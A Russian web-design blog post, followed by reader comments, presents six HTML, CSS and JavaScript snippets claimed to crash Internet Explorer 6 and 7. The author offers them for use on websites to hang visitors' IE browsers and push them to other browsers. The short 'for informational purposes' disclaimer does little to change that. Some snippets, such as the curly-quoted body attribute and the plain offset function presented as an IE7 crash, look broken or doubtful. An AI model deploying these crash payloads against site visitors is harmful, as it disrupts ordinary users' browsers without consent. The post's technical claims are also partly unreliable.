6 Способов повесить ie6
Для многих дизайнеров и веб-разработчиков существует большая проблема в виде одного единственного продукта Microsoft , а именно Internet Explorer 6 и других его собратьев , которые создают нам 80% работы. И я думаю вы часто были свидетелями сайтов где вас просят отображать страницы через FireFox для удобной работы и правильно отображаемого дизайна. Но иногда можно поставить палку в колёса пользователям IE.
Ниже изложенные 6 вариантов хаков , вешают Internet Explorer и используются , для того , чтобы привлечь пользователей использовать более user friendly браузеры :
1 вариант
Самый большой , но эффективный вариант:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html> <head> <title>CRASH-IE</title> <style type="text/css"> html, body { overflow: hidden; scrollbar-base-color: #330066; } .crash { position:absolute; left:200px; top:200px; width:200px; } </style> <script type="text/javascript"> function galgenfrist() { window.setTimeout('crashIE();',1000); } function crashIE() { var moveNode = document.getElementById("move"); if(moveNode) { moveNode.style.top = "100px"; moveNode.style.left = "200px"; } } </script> </head> <body onload="galgenfrist();"> <h1>CRASH-IE</h1> <div id="move" class="crash"> <table> <tbody> <tr> <td> <textarea></textarea> </td> </tr> </tbody> </table> </div> </body> </html>
2 вариант
Используем не большой цикл for на JavaScript , чтобы подвесить Internet Explorer.
<script>for (x in document.write) { document.write(x);}</script>
3 вариант
Солянка из CSS и HTML.
<style>*{position:relative}</style><table><input></table>
4 вариант
Обратные кавычки в указании атрибута для body— очень помогает
<body onLoad=”window()”>
5 вариант
Этот вариант на мой взгляд самый простой и действенный , короче — мой любимый.
<STYLE>@;/*
6 вариант
А это единственный мне известный хак , который повесит IE7.
function getX( oElement ) { var iReturnValue = 0; while( oElement != null ) { iReturnValue += oElement.offsetLeft; oElement = oElement.offsetParent; } return iReturnValue; }
Это в общем то и всё , пользуйтесь — а всё что вы увидели в этом посте , было предоставлено только в ознакомительный целях!
Живёте в Саратове? Вам требуется веб-сайт «под ключ» ? — тогда разработка сайтов в Саратове для вас!
Хорошее решение для вашего бизнеса в виде управление электронным документооборотом.
Популярность: 70%
Читать дальше









запись вмемориз, я тащусь от этого!!
Я его лично вешал много раз когда писал хаки черех expresion для выравнивания по вертикали. Будем надесяться, что ie6 в скором времени канет в лету. А то надоело тратить кучу времени на его отладку.
Михаил, для меня он умер в момент выхода первой беты семёрки с предустановленным IE8.
Как вы понимаете — вся проблема в том , что для большинства он не умер и все им только и пользуются
Я сам IE не пользуюсь года 4 если не больше.
Между прочим, восьмёрка весьма хороша (почитайте о ней).
Ну а шестой... что ж, остаётся помахать рукой тем, кто продолжает им пользоваться и предложить в довесок поставить Windows 2000 или Mellenium. И кричать: «И-и-х-а-а-а!!! Я пользуюсь интернетом!»
Grawl, к сожалению на работе у меня требуют верстку которая корректно работала бы и на ie6.
сочувствую... а вашему начальству и проектам — удачи!!!